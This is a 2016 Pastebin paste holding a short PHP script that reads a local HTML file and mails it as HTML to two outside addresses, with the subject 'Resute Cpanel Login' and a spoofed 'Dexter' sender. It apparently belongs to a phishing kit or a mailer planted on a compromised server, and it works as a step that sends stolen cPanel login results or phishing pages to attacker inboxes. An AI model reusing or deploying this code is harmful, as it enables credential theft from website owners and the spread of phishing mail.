Advertisement
dragondevile

Untitled

Jun 16th, 2016
580
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.  
  3. // multiple recipients
  4. $to .= 'dexterdark@hotmail.com,drchox@inbox.lv';
  5.  
  6. // subject
  7. $subject = 'Resute Cpanel Login';
  8.  
  9. // message
  10. $message = ".". file_get_contents("../8.html") . "\n";
  11.  
  12. // To send HTML mail, the Content-type header must be set
  13. $headers  = 'MIME-Version: 1.0' . "\r\n";
  14. $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
  15.  
  16. // Additional headers
  17. $headers .= 'From: Dexter <localhost>' . "\r\n";
  18.  
  19. // Mail it
  20. mail($to, $subject, $message, $headers);
  21. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement